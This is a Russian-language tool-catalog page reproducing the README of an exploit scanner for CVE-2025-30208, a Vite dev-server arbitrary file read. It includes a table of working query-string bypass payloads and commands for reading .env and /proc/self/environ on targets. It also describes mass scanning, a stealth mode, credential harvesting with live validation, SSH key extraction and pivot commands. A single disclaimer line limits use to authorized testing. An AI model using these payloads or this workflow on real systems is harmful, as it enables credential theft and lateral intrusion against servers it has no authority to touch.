Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-30208 — Эксплоит-сканер для CVE-2025-30208 (произвольное чтение файлов Vite) с многовариантным обнаружением обхода, сбором учетных данных, извлечением SSH-ключей и структурированным отчетом для авторизованного тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/hazavvip/cve-2025-30208
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииТестирование на Проникновение
GitHubhazavvip/cve-2025-30208

CVE-2025-30208

Эксплоит-сканер для CVE-2025-30208 (произвольное чтение файлов Vite) с многовариантным обнаружением обхода, сбором учетных данных, извлечением SSH-ключей и структурированным отчетом для авторизованного тестирования на проникновение.

Репозиторий
224 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-30208 — Vite Произвольное чтение файлов · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Серьезность: CVSS 5.3 Средняя (сетевой доступ к dev-серверу)

⚠ Только для авторизованных тестов безопасности.
Несанкционированное использование систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным.


Описание

Dev-сервер Vite позволяет обслуживать произвольные файлы из файловой системы хоста через запросы /@fs/.
Отсутствующая проверка санитизации строки запроса в уязвимых версиях позволяет злоумышленнику добавлять специально созданные суффиксы для обхода списка разрешений и читать любые файлы, к которым имеет доступ процесс — включая файлы .env, закрытые ключи SSH, учетные данные облачных сервисов и записи /proc.


Уязвимые версии

ВеткаПоследняя уязвимаяИсправленная
6.3.x6.3.06.3.1+
6.2.x6.2.26.2.3+
6.1.x6.1.16.1.2+
6.0.x6.0.116.0.12+
5.4.x5.4.145.4.15+
4.5.x4.5.94.5.10+

Варианты обхода

НазваниеСуффикс / ЗапросОписание
raw???raw??Хвостовые ?? нарушают rawRE
import&raw???import&raw??ES-модуль + raw вместе
raw??raw?Один хвостовой ?
url&raw???url&raw??Режим URL в комбинации
raw&url???raw&url??Обратный порядок параметров
import&?raw?import&?rawНекорректный префикс импорта
sec-fetch?raw + заголовок Sec-FetchКонтекст скрипта браузера
raw-encoded?raw%3f%3fURL-кодированные разделители
double-slash?raw??/Обход с двойным слэшем (v5)
pct-all%3fraw%3f%3fПолностью процентно-кодированный запрос (v5)
raw-hash?raw??#Обход через фрагмент якоря (v5)
wasm-init?inline=1.wasm?initРодственный CVE-2025-31125 (инициализация wasm)

Установка

pip install requests
# or
pip install -r requirements.txt

Использование

Одиночная цель — полное сканирование

python main.py -t https://target.com

Полная цепочка эксплуатации (проверка учетных данных в реальном времени, поведение по умолчанию)

python main.py -t https://target.com --full-chain --output /tmp/report

Чтение конкретного файла

python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

Скрытый режим (случайные задержки) + вышестоящий прокси

python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

Массовое сканирование из списка целей

python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

Вывод, удобный для конвейеров (без ANSI-кодов)

python main.py -t https://target.com --no-color | tee scan.log

Версия

python main.py --version

Запуск как пакет

python -m cve30208 -t https://target.com

Справочник по CLI

ФлагПо умолчаниюОписание
-t/--target—URL одиночной цели
-l/--lists—Файл, содержащий по одной цели на строку
--stealthoffДобавлять случайные задержки между запросами
--proxy—HTTP/HTTPS прокси (http://host:port)
--timeout10Тайм-аут на один запрос в секундах
--verifyoffВключить проверку TLS-сертификата
--file—Прочитать конкретный путь на целевом хосте
--save—Сохранить содержимое --file в локальный путь
--full-chainonЗапустить полную цепочку эксплуатации (проверка в реальном времени по умолчанию)
--output—Записать JSON + Markdown отчёт в указанный базовый путь
--workers10Параллельные рабочие потоки для массового сканирования
--portsсм. нижеПорты для проверки в массовом режиме (через запятую)
--no-color/--plainoffОтключить ANSI-коды цветов
--safe-modeoffСкрывать значения секретов в выводе терминала
--show-secretsoffПоказывать полные секреты в терминале (переопределяет --safe-mode)
--version—Вывести версию и выйти

Порты массового сканирования по умолчанию: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443


Вывод

Если указан --output /tmp/report, сканер записывает:

  • /tmp/report.json — машиночитаемые структурированные находки
  • /tmp/report.md — человекочитаемый Markdown-отчёт

Массовое сканирование всегда выводит VULN_COUNT=N на последней строке для удобного использования в скриптах оболочки:

python main.py -l targets.txt | grep '^VULN_COUNT='

Сканирование одной цели выводит SCAN_STATUS=VULNERABLE|NOT_VULNERABLE в конце для автоматизации.


Архитектура (v5)

cve30208/
├── __init__.py      — публичный API
├── __main__.py      — точка входа python -m cve30208
├── constants.py     — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan константы
├── ui.py            — ANSI коды цветов, Spin/NullSpin, вспомогательные функции терминала
├── utils.py         — общие вспомогательные функции (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (проверка учетных данных в реальном времени)
│                      включает реестр проверок для упрощения расширения
├── report.py        — save_report(), make_md()
└── scanner.py       — FR/R датаклассы, Scanner, bulk_scan(), main()
main.py              — обратно-совместимый мост
requirements.txt

Дедупликация

Сканер автоматически подавляет повторяющиеся артефакты, чтобы вывод оставался чистым даже когда HOME равен /root или один и тот же секрет встречается в нескольких файлах:

УровеньМеханизм
Чтение файловstage_fs нормализует базовый список SSH-ключей с помощью dict.fromkeys и удаляет дублирующиеся пути из очереди reads до любого вывода.
Сохранение файловScanner._save проверяет множество _seen_file_paths для каждого сканирования; дублирующиеся пути возвращают уже сохранённый FR без повторного добавления в r.files.
СекретыScanner._save дедуплицирует r.secrets глобально по (name, value) для всех файлов; дедупликация внутри файла обрабатывается отдельно в scan_secrets.
SSH-ключиstage_ssh объединяет ключи с одинаковой подписью PEM (первые _PEM_SIG_LEN байт), встречающиеся в разных исходных файлах.
Команды перехода (pivot)Блоки перехода индексируются по (key_source, host, port); одинаковые комбинации выводятся только один раз.

Строка итога сообщает, сколько файлов, секретов и SSH-ключей было подавлено как дубликаты, например:

  deduped     2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates

Восстановление

Скачать инструмент